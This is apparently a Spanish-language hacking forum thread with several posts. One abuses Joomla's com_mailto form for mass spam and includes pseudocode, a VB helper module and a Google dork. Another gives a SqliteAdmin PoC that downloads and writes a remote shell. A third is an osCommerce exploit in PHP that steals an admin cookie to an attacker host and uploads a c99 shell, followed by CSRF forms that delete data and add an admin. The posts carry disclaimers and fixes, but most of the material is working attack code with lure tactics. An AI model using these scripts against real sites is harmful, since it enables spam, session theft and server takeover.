GVudCZ2aWV3PWFydGljbGUmaWQ9NDU6am9vbWxhLWNvbW11bml0eS1wb3J0YWw
mY2F0aWQ9MTpsYXRlc3QtbmV3cyZJdGVtaWQ9NTA=&
428e4678e31b0b08571b7f7d2cb9cd4a=1&layout=default&option=com_mailto&task=send&tmpl=component

Acá podemos ver muchas cosas que son importantes y que le sirve a joomla para verificar que no seamos un bot.

1. Primero podemos ver el referer, asi que hay que tomarlo en cuenta al momento de enviar la petición, luego vemos que dentro del referer hay una serie de carácteres bién largo justo donde dice "link"... ese valor es la url que se enviará por correo diciendo a tu amgo que le haga click porque yo se la recomendé pero está cifrada en base64.

2. Ahora vemos una cookie con doble hash eso significa que tanto el valor como la variable son hashes aleatorios intentando entre comillas evadir una automatización ya que supuestamente el nombre de la cookie va al azar asi que "pienso" que se habrán roto la cabeza pensando que una cookie al azar podría evitar la captura del mismo limitando al usuario a utilizar solamente el explorador, pues bién... la capturamos y la utilizamos asi que ya sabemos que se necesita el referer, el link en base64 y la cookie con doble hash.

3. Vemos un token de verificación en la variable post y al igual que la cookie este es un hash al azar pero no es su contenido sinó en su nombre y de valor tiene un "1":
Citar
mailto=amigo%40gmail.com&sender=yo&from=yo%40hotmail.com&subject=Tema&link=aHR0cDovLzEyNy4wLjAuMS9qb29tbGEvaW5kZXgucGhwP29wdGlvbj1jb21fY29ud
GVudCZ2aWV3PWFydGljbGUmaWQ9NDU6am9vbWxhLWNvbW11bml0eS1wb3J0YWw
mY2F0aWQ9MTpsYXRlc3QtbmV3cyZJdGVtaWQ9NTA=&428e4678e31b0b0
8571b7f7d2cb9cd4a=1
&layout=default&option=com_mailto&task=send&
tmpl=component
Normalmente la gente está acostumbrada a localizar el valor de un token por su nombre pero en este caso es solo cosa de verificar un input que tenga el valor de "1" y que su nombre contenga 32 carácteres que es la cantidad exacta de un hash en MD5.

4. Antes de enviar todo esto hay que recordar que se necesta hacer una petición GET a la página para obtener la cookie de antemano o como sabremos cual enviar, también pasa con el token y lo demás asi que solicitamos la web pero cuando queremos enviar el formulario nos va a decir que fue imposible su envío y esto se debe a que joomla te fuerza a esperar 20 segundos aproximadamente entre que te dan el token y lo usas asi que ya tenemos el referer, la cookie con doble hash, el link en base64, el token anticsrf y el tiempo de espera.

Ahora con estos 4 puntos que debería hacer evitar un envío automatizado desde un bot o lo que sea nos encontramos con dos bugs, el primero es lo que ya vieron (no usa captcha) y el segundo esque cuando pasas los 20 segundos de espera te añade un token en tu sesión de cookie que dice que ya terminó t espera de 20 segundos pero lo que no verifica esque que pasa si vuelvo a enviar otro correo, en ese caso ya no me hará esperar porque mi cookie dice que yo ya esperé asi que solo debo esperar 20 segundos para enviar mis veintemil cuatrocientos noventa y un correos seguidos a los destinatarios que yo quiera porque el hash de la cookie y el token anticsrf no cambia en cada envío asi que puedo modificar cualquier dato del mail.

Pseudo-código
El software pide los siguientes datos:
url_del_joomla
para_email
de_nombre
de_correo
asunto_de_correo
X_Hilos
mensaje_al_mamahuevo[255]
/* de 255 carácteres porque esto irá en la petición GET asi que no debe sobrepasar la cantidad de carácteres límite de apache */

/* Inicia el proceso de recaudación de datos iniciales */
url = directorio(url_de_joomla) // Obtiene el directorio del joomla
host = servidor(ur_de_joomla) // Obtiene el nombre de dominio del url
Socket1 conecta a url_del_joomla puerto 80 protocolo TCP
Socket1 Envía los siguientes datos ->  // Protocolo HTTP -->
GET " +  url + "index.php?option=com_mailto&tmpl=component&link=" + urlencode(base64_encode(mensaje_al_mamahuevo)) + " HTTP/1.1" + (un salto de linea) +
"Host: " +  host + (un salto de linea) +
"Connection: close" + (un salto de linea) +
"User-Agent: Agente de usuario a gusto" + (dos saltos de linea)

Buffer = Recibe los datos debueltos por el socket
Cookie = función obtiene cookies (Buffer)
Token = función obtiene Token (Buffer)

Si la cookie tiene menos de 40 carácteres entonces es inválido y finaliza
/* Porque es n hash de 32 carácteres mas un pequeño hash desde 10 a 30 carácteres. */

Si el token no es de 32 carácteres entonces es inválido y finaliza
/* Porque un hash md5 es de 32 carácteres */

Esperar 20 segundos

Inicio del Loop
 Crear hilo de proceso con lo siguiente{ /* Con un máximo de X_hilos (por defecto usar 100)*/
  Inicio del Segundo Loop
   Si de_nombre es igual a "azar" entonces el de_nombre son 7 carácteres alfanuméricos al azar
   Si de_correo es igual a "azar" entonces el de_correo son 7 carácteres alfanuméricos al azar + "@" + el servidor que yo quiera pero que sea conocido
   Si el asunto es igual a "azar" entonces el asunto es igual a 7 carácteres alfanuméricos al azar

   Crea un nuevo Socket y lo conecta a url_de_joomla puerto 80 Protocolo TCP
  PostData es igual a -->
  "mailto=" + URLEncode(para_email) + (un salto de linea) +
  "&sender=" + URLEncode(de_nombre) + (un salto de linea) +
  "&from=" + URLEncode(de_correo) + (un salto de linea) +
  "&subject=" + URLEncode(asunto) + (un salto de linea) +
  "&link=" + URLEncode(EncodeStr64(Text9.Text)) + (un salto de linea) +
  "&" + URLEncode(Text11.Text) + "=1" + (un salto de linea) +
  "&layout=default&option=com_mailto&task=send&tmpl=component"
 
  El Socket creado envía lo siguiente ->
  "POST " + url + " HTTP/1.1" + (un salto de linea) +
  "Host: " + host + (un salto de linea) +
  "Referer: http://" + host + url + "index.php?option=com_mailto&tmpl=component&link=" + URLEncode(EncodeStr64(mensaje_al_mamahuevo)) + (un salto de linea) +
  "User-Agent: a elección pero que sea el mismo que el anterior" + (un salto de linea) +
  "Connection: Close" + (un salto de linea) +
  "Cookie:" + cookies + (un salto de linea) +
  "Content-Type: application/x-www-form-urlencoded" + (un salto de linea) +
  "Content-Length: " + cantidad de carácteres de PostData + (dos saltos de linea) +
  PostData + (dos saltos de linea)

 Cuando se desconecte volver al SegundoLoop
 }
Final del Loop


Al final debería quedar algo así:


No puedo poner el binario o la fuente directamente pero pondré el módulo hecho en visual basic para capturar el token y la cookie:

Código
  1. Public Function Obtener_Token(Buffer As String) As String
  2. Dim Hash As String
  3. Hash = InStr(1, Buffer, Chr(34) & " value=" & Chr(34) & "1" & Chr(34) & " />") ' " value="1" />
  4. If Hash = 0 Then
  5. Exit Function
  6. Else
  7. Obtener_Token = Mid$(Buffer, Int(Hash - 32), 32) ' Hash de 32 bites
  8. End If
  9. End Function
  10.  
  11. Public Function Obtener_Cookies(Buffer As String, Phpsessid_Off As Boolean) As String
  12. Dim Temporal As String, Cookie As String
  13. Rebuscar:
  14. Cookie = InStr(1, Buffer, "Set-Cookie: ")
  15. If Cookie = 0 Then
  16. Exit Function
  17. Else
  18. Buffer = Mid$(Buffer, Cookie, Len(Buffer))
  19. Cookie = InStr(1, Buffer, ";")
  20. Temporal = Mid$(Buffer, 1, Cookie)
  21. Buffer = Mid$(Buffer, Cookie, Len(Buffer))
  22. Temporal = Replace(Temporal, "Set-Cookie: ", "")
  23. If Phpsessid_Off = True Then
  24.  If Not Eregi("phpsessid", LCase(Temporal)) Then Obtener_Cookies = Obtener_Cookies & " " & Temporal
  25. Else
  26.  Obtener_Cookies = Obtener_Cookies & " " & Temporal
  27. End If
  28. DoEvents
  29. GoTo Rebuscar
  30. End If
  31. End Function
  32.  
  33. Public Function URLEncode(sRawURL As String) As String
  34.    On Error GoTo Catch
  35.    Dim iLoop As Integer
  36.    Dim sRtn As String
  37.    Dim sTmp As String
  38.    Const sValidChars = "1234567890ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz:._-(){}~"
  39.  
  40.  
  41.    If Len(sRawURL) > 0 Then
  42.        ' Loop through each char
  43.  
  44.  
  45.        For iLoop = 1 To Len(sRawURL)
  46.            sTmp = Mid(sRawURL, iLoop, 1)
  47.  
  48.  
  49.            If InStr(1, sValidChars, sTmp, vbBinaryCompare) = 0 Then
  50.                ' If not ValidChar, convert to HEX and p
  51.                '     refix with %
  52.                sTmp = Hex(Asc(sTmp))
  53.  
  54.  
  55.                If sTmp = "20" Then
  56.                    sTmp = "+"
  57.                ElseIf Len(sTmp) = 1 Then
  58.                    sTmp = "%0" & sTmp
  59.                Else
  60.                    sTmp = "%" & sTmp
  61.                End If
  62.  
  63.            End If
  64.  
  65.            sRtn = sRtn & sTmp
  66.        Next iLoop
  67.  
  68.        URLEncode = sRtn
  69.    End If
  70.  
  71. Finally:
  72.    Exit Function
  73. Catch:
  74.    URLEncode = ""
  75.    Resume Finally
  76. End Function
  77.  
  78. Public Function Eregi(Condicion As String, Buffer As String) As Boolean
  79. If InStr(1, Buffer, Condicion) > 0 Then Eregi = True Else Eregi = False
  80. End Function
  81.  
  82. Public Function Nick_Azar() As String
  83. Nick_Azar = _
  84. Chr(Int(Rnd * 23) + 98) & _
  85. Chr(Int(Rnd * 23) + 98) & _
  86. Chr(Int(Rnd * 23) + 98) & _
  87. Chr(Int(Rnd * 23) + 98) & _
  88. Chr(Int(Rnd * 23) + 98) & _
  89. Chr(Int(Rnd * 23) + 98) & _
  90. Chr(Int(Rnd * 23) + 98)
  91. End Function
  92.  

al Obtener_Cookies le dan el bffer y le ponen como segunda variable un false para que devuelva la cookie que no es phpsessid y evita repeticiones de cookies como pasa en algunos sistemas como smf.

Y debería causar algo como esto:
http://img.drawcoders.net/index.php?acn=observar&idi=c8ce715057_spam.JPG

Pero está claro que es solo un ejemplo y que el software no no no no es real y es solo algo hecho en photoshop al igual que la otra captura :P
PD: Portalhack.us fue avisado y deshabilitaron ese componente asi que no los molesten.

Soy muy malo para hacer pseudocódigos asi que no reclamen por el source :xD , se que falta destruir variables y verificar datos numéricos en inputs, etc etc etc pero solo mostré lo básico de como hacerlo, el resto ya es imaginación.

Consecuencias
Hay muchas consecuencias y la mas fatal es que tu servidor puede quedar dentro de la lista negra de servidores de correos como gmail, yahoo, etc y todos los correos que provengan de tu servidor se irán directamente a la bandeja de spam tenga el contenido que sea y con eso tu servidor morirá para enviar correos (o como se dice, se va a quemar).
La otra consecuencia es que puede haber gente victima de bombardeos de miles de correos con destinatarios diferentes y harás colapsar a tu pobre amigo tratando de borrar tanto correo ya que tendrá que fijarse si entre esos correos hay alguno normal o tirará todo lo que le llegue a su papelera dejando inutilizable su correo sea cual sea, ya que mandarlo como spam no serviría porque el atacante puede usar cuanto servidor se le cruze.
El otro problema es que le baja el autoestima al programador por estar haciendo makinas de spam  :-[

También conversaba con un amigo sobre las consecuencias que podría llegar a causar esto ya que hay que tomar en cuenta que todos los correos llegan a la bandeja de entrada a menos que el servidor ya esté quemado pero de 100 talves uno no funcione, además podría cargarse un archivo de texto con correos y otro listado con sitios que usen joomla y tener una makina para espamear gratis sin kemar su propio server pero bueno, son cosas, desastres de la naturaleza hasta que lo reparen o aver si ahora si le dan importancia o simplemente comienze la gente a deshabilitar sus componentes.

Solución
Puedes integrarle una captcha a ese componente editando su código fuente para que acepte el valor del input de la captcha o simplemente deshabilita la opción de enviar email desde el menú de contenido yte vas a configuraciones, luego le das en no mostrar envío de email y pr si las dudas te vas a "instalar/desintalar" y deshabilitas el componente "com_mailto".


PD: en este tuto no salió ningún correo ni servidor dañado.
PD2:
GoogleDork: http://www.google.cl/search?hl=es&q=index.php%3Foption%3Dcom_content%26view%3Darticle%26id%3D+%26Itemid%3D&btnG=Buscar+con+Google&meta=&aq=f&oq=
338  Seguridad Informática / Nivel Web / Múltiples vulnerabilidades en SqliteAdmin 1.2.0 en: 12 Julio 2009, 06:10 am
Bueno, encontré multiples vulnerabilidades en Sqliteadmin las cuales son las siguientes:


Remote Execution
Hay ejecución remota cuando vas a la sección de bases de datos y le haces click en cualqueir función, entonces editas una función y al guardarla ya se estará ejecutando el código automáticamente:

Conversado con una persona me decía que esto no es arbitrario ya que el sistema deja por defecto crear funciones, pero .... normalmente no debería ejecutarse todo código que se escriba, normalmente debería quedar encerrado en una clase publica de forma que si hay una ejecución forzada no debería ejecutarse hasta que la función realmente sea llamada o necesitada y no cargar todo en memoria como se hace actualmente dejando desprotegido el sistema, a mucho debería tener un input para dictar el nombre de la función y un filtro que verifique que todas las llaves están correctamente cerradas para evitar el escape hacia fuera de la función.
Debería?... nop, no debería.

PoC:
Código
  1. $shell = file_get_contents('http://host/mi_shell_aca');
  2. $out = 'c:\\wamp\\www\\x.php';
  3. if(file_exists($out)) unlink($out);
  4. $h = fopen($out, 'x');
  5. fwrite($h, $shell);
  6. fclose($h);
  7.  
Fijarse que en win los slash son dobles "\\" porque uno solo es escape de carácter, es como decir "^<" en batch.


CSRF

Citar
http://censurado/sqlitemanager/main.php?dbsel=1
POST /sqlitemanager/main.php?dbsel=1 HTTP/1.1
Host: requetecensurado :p
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.9.1) Gecko/20090624 Firefox/3.5 (.NET CLR 3.5.30729)
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: es-es,es;q=0.8,en-us;q=0.5,en;q=0.3,
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Referer: http://censurado/sqlitemanager/main.php?dbsel=1&function=IF&action=modify
Cookie: PHPSESSID=xxxxxxxxxxxxxxxxxxxxxxxxx
Content-Type: application/x-www-form-urlencoded
Content-Length: 332
FunctName=IF&FunctType=1&FunctCode=echo+%27test%27%3B%0D%0Afunction+sqliteIf%28%24compare%2C+%24good%2C+%24bad%29%7B%0D%0A++++if+%28%24compare%29+%7B%0D%0A++++++++return+%24good%3B%0D%0A++++%7D+else+%7B+%0D%0A++++++++return+%24bad%3B%0D%0A++++%7D%0D%0A%7D&FunctFinalCode=&FunctNumArgs=3&FunctAttribAll=1&function=IF&id=1&action=save
No hay un token de verificación ni nada que impida la ejecución arbitraria de lo que al atacante se le antoje.


Path Disclosure
Puedes dar una ejecución arbitraria con error forzado y te arrojará un path disclosure:

La solución sería nunca mostrar error_reporting(E_ALL) en un sistema publicado.


Falta de Autificación
Como no hay un login de autentificación por defecto en este sistema pasa lo que pasa.


Consecuencias



Recomendaciones

Poner en un lugar mas inaccesible este sistema para que no pueda ser manipulado de forma externa y agregarle un login de seguridad como por ejemplo un auth de apache con htaccess.


Saludos.
339  Programación / Desarrollo Web / Sacar IP con javascript en: 21 Junio 2009, 03:07 am
Hace poco hubo un problema que pudo haber sido solucionado con esto.
La idea es poder saber si de alguna forma se puede saber la ip original desde javascript y hacer una comparación en php diciendo que si la ip otorgada por ajax no es igual al remote addr entonces es proxy y que guarde la ip original en un log de usuarios externo.

Pude leer en algunos sitios que esto era imposible a exepción si se hace desde java directamente y pasar el valor por medio de una variable hacia javascript y enviar la comparación al php.

Se podrá sin utilizar Java?
340  Seguridad Informática / Nivel Web / Múltiples vulnerabilidades en Oscommerce 2.2 RC2a en: 18 Junio 2009, 05:22 am
Bueno, acabo de terminar un documento que les puede servir a varios para poder aprender lo básico de un xss, csrf y alguno que otro bypass, también por otro lado les puede servir para que piensen dos veces que instalar al momento de crear una tienda virtual.



Auditando a Oscommerce 2.2 RC2a

Link para su descarga : http://www.oscommerce.com/solutions/downloads
El presente documento está hecho con motivo de aprender de las vulnerabilidades de Oscommerce y saber como protegernos haciendo buenas elecciones al momento de buscar un sistema web que soporte una tienda online.
Oscommerce actualmente es uno de los sistemas públicos mas utilizados par crear sitios de ventas online, desafortunadamente también es uno de los mas vulnerables. Acá daré a conocer soolo algunos que yo pude encontrar. Si quieres buscar mas fallas de este sistema CMS puedes hacerlo desde acá:
http://www.google.cl/search?hl=es&q=oscommerce+vuln


XSS en múltiples secciones y Bypass al Anti-rrobo de sesiones

Para saber que significa XSS vea la sección de enlaces descriptivos que está al final de este documento.
Dentro del sistema de Administración podemos encontrar una sección donde podemos modificar banners, ahí nos encontramos con el archivo banner_manager.php:
http://127.0.0.1/oscommerce/admin/banner_manager.php?page=1&bID=1&action=new

Acá podemos ver una clara vulnerabilidad de tipo XSS en la variable llamada "page", probemos ...
http://127.0.0.1/oscommerce/admin/banner_manager.php?page=1'"><h1>lol&bID=1&action=new

Vemos lo siguiente:


Esto nos quiere decir que pudimos inyectar código HTML con éxito dentro del sistema WEB.
Actualmente este tipo de vulnerabilidades se cataloga como nivel medio bajo en lo que a peligrosidad se refiere tanto en Securityfocus como en Secunia, Firstit, Vupen, etc etc, pero yo les voy a demostrar que un escape de código html dentro de tu sitio web puede causar muchos riesgos.

Primero vamos a planear que hacer para poder tener las ideas mas claras.
Haremos un script en php y si el administrador lo ve desde su explorador entonces le robaremos su sesión y con eso ya podremos hacer lo que se nos antoje como por ejemplo subirle una shell.

Abrimos nuestro editor de textos y manos a la obra:
Código
  1. <?php
  2. /* Prueba de concepto para Oscommerce 2.2, Upload de Shell via XSS. Por WHK */
  3. $web_vulnerable = 'http://127.0.0.1/oscommerce/'; /* La URL de la web vulnerable */
  4. $url_shell = 'http://www.geocities.com/zkizzik/c99.txt'; /* La URL de la Shell local o remnota */
  5. $logs = md5($web_vulnerable).'_logs.txt'; /* Log donde se guardará el estado del ataque */
  6.  
  7. if(!$_GET){ /* Si no hay variables entonces procede a ... */
  8. /*
  9. Redirecciona al visitante hasta la página del oscommerce vulnerable,
  10. obiamente lo enviamos hacia una url que causará que el mismo inyecte
  11. código html en su propia web, este código html dirá que nos envie su cookie
  12. hasta este mismo script para su recepción y utilización.
  13. */
  14. /* Si la url no contiene un slash al final entonces se lo agrega */
  15. if($web_vulnerable[strlen($web_vulnerable) - 1] != '/') $web_vulnerable .= '/';
  16. logs('Redireccionando hacia el XSS');
  17. 'Location: '.
  18. $web_vulnerable.
  19. 'admin/banner_manager.php?page=1"><script src=http://'.
  20. $_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']
  21. .'?acc=js></script><br x="&bID=1&action=new'); // Redirección
  22. /* como Oscommerce agrega slashses a las comillas entonces intentaremos usar un incluye */
  23.  
  24. /* el dichoso javascript que nos robará la sesión */
  25. }elseif($_GET['acc'] == 'js'){
  26. logs('Enviando código javascript');
  27. die('
  28.  /* Script que obtiene galletas con sabor a chocolate */
  29.  document.location="http://'.
  30.  $_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME'].
  31. '?acc=choco&galleta=" + escape(document.cookie) + "&uag=" + '.
  32. 'escape(navigator.userAgent);
  33. ');
  34.  
  35. /* Recibe la cookie y comienza la massacre */
  36. }elseif($_GET['acc'] == 'choco'){
  37. logs('Cookie recibida Cookie='.$_GET['galleta'].'');
  38. if(!$cookie = urldecode($_GET['galleta'])){
  39.  logs('Se ha intentado enviar una cookie sin contenido');
  40.  exit; /* Si no hay cookie se detiene */
  41. }
  42.  /* Separa el host con la ruta para procesar la conexión sin CURL para mayor compatibilidad */
  43. $host = explode('/', $web_vulnerable);
  44. $host = $host[2];
  45. $url = explode('http://'.$host, $web_vulnerable);
  46. $url = $url[1].'/';
  47. // Envía la shell
  48. if(!$shell = file_get_contents($url_shell)){
  49.  logs('No se pudo obtener la shell');
  50.  exit;
  51. }
  52. $post_data =
  53. '-----------------------------66182058019796
  54. Content-Disposition: form-data; name="file_1"; filename="config.php"
  55. Content-Type: text/x-php
  56.  
  57. '.$shell.'
  58. -----------------------------66182058019796
  59. Content-Disposition: form-data; name="file_2"; filename=""
  60. Content-Type: application/octet-stream
  61.  
  62.  
  63. -----------------------------66182058019796
  64. Content-Disposition: form-data; name="file_3"; filename=""
  65. Content-Type: application/octet-stream
  66.  
  67.  
  68. -----------------------------66182058019796
  69. Content-Disposition: form-data; name="file_4"; filename=""
  70. Content-Type: application/octet-stream
  71.  
  72.  
  73. -----------------------------66182058019796
  74. Content-Disposition: form-data; name="file_5"; filename=""
  75. Content-Type: application/octet-stream
  76.  
  77. -----------------------------66182058019796
  78. Content-Disposition: form-data; name="x"
  79.  
  80. '.rand(10,19).'
  81. -----------------------------66182058019796
  82. Content-Disposition: form-data; name="y"
  83.  
  84. '.rand(10,19).'
  85. -----------------------------66182058019796--
  86.  
  87. ';
  88.  
  89. /* conexión y comprobación */
  90. if(!eregi('302', enviar_socket(
  91. 'POST '.$url.'admin/file_manager.php?action=processuploads HTTP/1.1
  92. Host: '.$host.'
  93. User-Agent: '.urldecode($_GET['uag']).'
  94. Connection: close
  95. Referer: http://'.$host.'/'.$url.'admin/file_manager.php?action=upload
  96. Cookie: '.$cookie.'
  97. Content-Type: multipart/form-data; boundary=---------------------------66182058019796
  98. Content-Length: '.(int)strlen($post_data)."\n\n".$post_data))){
  99.  logs('Error inesperado al intentar subir la shell o sistema no vulnerable');
  100.  exit;
  101. }
  102.  
  103. /* Valída el upload y verifica si terminó correctamente */
  104. if(eregi('images/icons/success.gif', enviar_socket(
  105. 'GET '.$url.'admin/file_manager.php HTTP/1.1
  106. Host: '.$host.'
  107. User-Agent: '.urldecode($_GET['uag']).'
  108. Connection: close
  109. Referer: http://'.$host.'/'.$url.'admin/file_manager.php?action=processuploads
  110. Cookie: '.$cookie."\n\n\n"))){
  111.  logs('Shell subida con éxito hacia URL='.$web_vulnerable.'config.php');
  112. }else{
  113.  logs('Error inesperado al intentar subir la shell o sistema no vulnerable');
  114.  exit;
  115. }
  116. }
  117.  
  118. function handle_socket(){
  119. global $host;
  120. if(!$handle = fsockopen($host, 80)){
  121.  logs('El servidor remoto no responde');
  122.  exit;
  123. }
  124. return $handle;
  125. }
  126.  
  127. function enviar_socket($buffer){
  128. $handle = handle_socket();
  129. fwrite($handle, $buffer);
  130.  while(!feof($handle)){
  131.  $buffer .= fgets($handle, 128);
  132. }
  133. fclose($handle);
  134. if(!$buffer){
  135.  logs('El servidor remoto no responde');
  136.  exit;
  137. }
  138. return $buffer;
  139. }
  140.  
  141. function logs($contenido){
  142. global $logs;
  143. if(file_exists($logs)) $modo = 'a'; else $modo = 'x';
  144. if(!$handle = fopen($logs, $modo)) return false;
  145. fwrite($handle, '[+] DATE['.date(DATE_RFC822).'] IP['.$_SERVER['REMOTE_ADDR'].'] LOG['.$contenido."]\x0D\x0A");
  146. fclose($handle);
  147. }
  148. ?>

Ahora, antes de explicar lo que hace cada línea les voy a decir como funciona.
Primero que nada debemos encontrar al Administrador con su sesión activa dentro del sistema y luego hacer que visualice este código WEB. Para hacerlo vamos a suponer una situación donde nos conectamos vía IRC o MSN con el Administrador y le sugerimos una configuración para poder optimizar su sitio Web como por ejemplo un dimensionado de la imagen de su banner o lo que sea, después que ya estamos seguros que está logueado le decimos que observe el tutorial donde se muestra con mas detalle y le damos la página que lo redireccionará hacia el XSS. También puedes enviarle múltiples Spam a su correo y esperar a que haga clic en una mientras está trabajando en su página. También puedes ocultar el script dentro de un iframe de 1 x 1 pixel mientras lee o ve un video ocultando la redirección.
En fin, hay muchas formas para hacer caer a alguien con tal de que vea el script que acabamos de hacer, una ves que lo haga solamente pasarán unos 2 o tres segundos y automáticamente se le subirá una shell a su propio servidor y quedará masomenos así:


Ahora si voy a explicar un poco el código para que todo mortal pueda entender que hace sin entrar mucho en el lenguaje de programación ya que los que saben está claro que ya saben como está hecho.

Para subirle la shell necesitamos primero ser Administradores, eso es normal así que primero vamos por la cookie, cuando el Administrador vea el script lo primero que se hará es redireccionarlo hacia:
http://127.0.0.1/oscommerce/admin/banner_manager.php?page=1"><script src=http://atacante.com/demanda.php?acc=js></script><br x="&bID=1&action=new

Lo que hará es redireccionarlo hacia la Web vulnerable e inyectará esto:
Citar
"><script src=http://atacante.com/demanda.php?acc=js></script><br x="

Asi que parte del código fuente queda de esta forma:
Código
  1. <form name="new_banner" action="http://127.0.0.1/oscommerce/admin/banner_manager.php?page=1\"><script src=http://atacante.com/demanda.php?acc=js></script><br x=\"&action=update" method="post" enctype="multipart/form-data">

De esta forma insertamos el archivo javascript dentro del código HTML sin romper su estructura y evitamos que se vea mal en caso de que algo falle.
Ahora este javascript nos ejecutará lo siguiente:
Código
  1. /* Script que obtiene galletas con sabor a chocolate */
  2. document.location="http://atacante.com/demanda.php?acc=choco&galleta=" + escape(document.cookie) + "&uag=" + escape(navigator.userAgent);

Como ahora si podemos usar comillas dobles (recordemos que Oscommerce agrega salsees como si fuera magic quotes para prevenir no se que cosa porque hasta ahora no sirve de nada) hacemos que nos redirecciones hacia mi Web atacante y envíe la cookie (recuerden que la cookie es nuestra sesión como administradores). Algunas personas podrán simplificar esto con eval y charcote haciendo la redirección saltándose el paso de la inclusión del Script (si no entendiste no importa porque no es relevante para el que no sabe mucho del tema).
¿Porqué necesitamos el User Agent? (nombre del navegador):
En Oscommerce hay un sistema de seguridad para "supuestamente" prevenir este tipo de ataques, entonces lo obtenemos y lo utilizamos en nuestro script.
Código de "supuesta" seguridad en Oscommerce (Archivo "incluyes/application_top.php" Linea 227):
Código
  1. if ($SESSION_USER_AGENT != $http_user_agent){
  2.      tep_session_destroy();
  3.      tep_redirect(tep_href_link(FILENAME_LOGIN));
  4. }

Bueno, ahora lo usamos en nuestro Script:
Código
  1. User-Agent: '.urldecode($_GET['uag']).'

Ahora que tenemos la cookie y el user agent podemos hacer lo que se nos antoje como modificar la contraseña, cambiar el correo para después recuperar el password, subir una shell, eliminar todo y poner una Web porno, modificar archivos php para capturar tarjetas de crédito con cvv2, etc etc (recuerden que esto es solo una prueba de concepto para demostrar lo que se puede llegar a hacer no para que lo pongan en práctica).

El resto del Script lo que hace es enviar el archivo de nuestra Shell de pruebas al servidor desde:
http://127.0.0.1/oscommerce/admin/file_manager.php?action=processuploads

Respetando el referer que es desde "admin/file_manager.php?action=upload" y enviamos nuestra petición POST con 5 archivos, si pones solo uno te lo rechaza, ponemos nuestra shell en el archivo 1 y los demás en blanco, ahora nos darán una redirección hacia "admin/file_manager.php" así que la visualizamos y nos valida recién el upload.
También me encontré con dos variables, una llamada "y" y "x" con un valor al azar entre 1 y 20 así que se lo agregué al script para poder reflejar una simulación lo mas igualada posible a un explorador, si se los sacas no funcionará.

Secciones donde puedes encontrarás XSS:
http://127.0.0.1/oscommerce/admin/categories.php?action=new_product_preview&read=only&pID=18&origin=stats_products_viewed.php?page=1'"><h1>test
http://127.0.0.1/oscommerce/admin/configuration.php?gID=1'"><h1>test
y en casi todas las secciones de administración donde veas una variable "page", "id", etc etc. Solo es cosa de ir probando porque si me pongo a mostrarlas todas voy a terminar este documento el año que viene.


Múltiples XSRF (Cross Site Request Forgery)

Para saber que significa XSRF vea la sección de enlaces descriptivos que está al final de este documento.
Primeramente intentaré eliminar una categoría manualmente y al hacerlo me pide una confirmación, al darle clic al botón para aceptar su eliminación me pongo a visualizar los datos que estoy enviando desde el Live Headers:


Citar
http://127.0.0.1/oscommerce/admin/categories.php?action=delete_category_confirm&cPath=

POST /oscommerce/admin/categories.php?action=delete_category_confirm&cPath= HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows; U ...
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: es-es,es;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Referer: http://127.0.0.1/oscommerce/admin/categories.php?cPath=&cID=1&action=delete_category
Cookie: osCAdminID=hfk8d6gg5n455ld7i4q20c4pf7; osCsid=pmvjahohiq09e0j2hr0rujffl0
Content-Type: application/x-www-form-urlencoded
Content-Length: 25

categories_id=1&x=17&y=11

Acá vemos que se envía la variable categories_id diciendo que se va a eliminar pero en ningún lado vemos que nos adjunta algún tipo de dispositivo de seguridad que evite un ataque automatizado, por ejemplo un hash o cosas similares por lo tanto el ataque es tan obvio como la falla:
Código
  1. <form method="post" action="http://127.0.0.1/oscommerce/admin/categories.php?action=delete_category_confirm&cPath=">
  2. <input type=hidden name="categories_id" value="1" />
  3. </form>
  4. <script>document.getElementsByTagName("form")[0].submit();</script>

Creamos un archivo HTML que contenga esto y hacemos que el administrador lo visualize, al hacerlo estará eliminando involuntariamente la primera categoría de productos de su tienda virtual.
Esto podemos hacerlo con cualquier tipo de dato o configuración ya que en ningún caso se verifica un hash para prevenir este tipo de ataques.

Te gustaría crear un nuevo usuario con derechos de Administración?
Código
  1. <form method="post" action="http://127.0.0.1/oscommerce/admin/administrators.php?action=insert">
  2. <input type=hidden name="username" value="r00t" />
  3. <input type=hidden name="password" value="r00ted" />
  4. <input type=hidden name="x" value="16" />
  5. <input type=hidden name="y" value="13" />
  6. </form>
  7. <script>document.getElementsByTagName("form")[0].submit();</script>

Tan fácil y sencillo.

También puedes activar de forma remota tipos de pago:
http://127.0.0.1/oscommerce/admin/modules.php?set=payment&module=paypal_express&action=install

Acá activas el tipo de pago Paypal Express y tener la oportunidad de hacer compras fraudulentas si es que es un sitio de ventas en tiempo real como por ejemplo venta de softwares.
Incluso puedes adjuntarlo en una imagen o un avatar, etc:
Código
  1. <img src="http://127.0.0.1/oscommerce/admin/modules.php?set=payment&module=paypal_express&action=install" />

Otro problema de Oscommerce es que utiliza $_SERVER['PHP_SELF'] en casi todas sus secciones y este parámetro si no se sabe utilizar puede causar fallas de tipo XSS:


Si buscamos sin mucho detalle:


Tenemos 26 archivos solamente con esta vulnerabilidad.
En este caso como no necesariamente está en el sistema de Administración puede lanzarse con toda confianza un ataque al propio administrador sin preocuparse si su directorio está protegido por Apache (autentification) ya que desde el mismo javascript con XMLHTTP puedes comprobar si tienes acceso o no y evitar un pantallaza del login, incluso puedes lanzar un popup por detrás del navegador y con un javascript que constantemente verifique si el Administrador entró en el sistema o no para poder continuar con el ataque.
También puedes afectar a los usuarios y robarle sus sesiones y apoderarse de sus compras.

¿Que tal estaría poder modificar el precio de los productos?, a mi no me gustaría que me hicieran eso y no se si a alguna empresa le guste tampoco.
 

Conclusión

Oscommerce es un sistema muy útil pero llega a ser tan útil como inseguro y es una situación bastante delicada cuando se pretende cobrar dinero de forma online y tener tu propia tienda virtual.

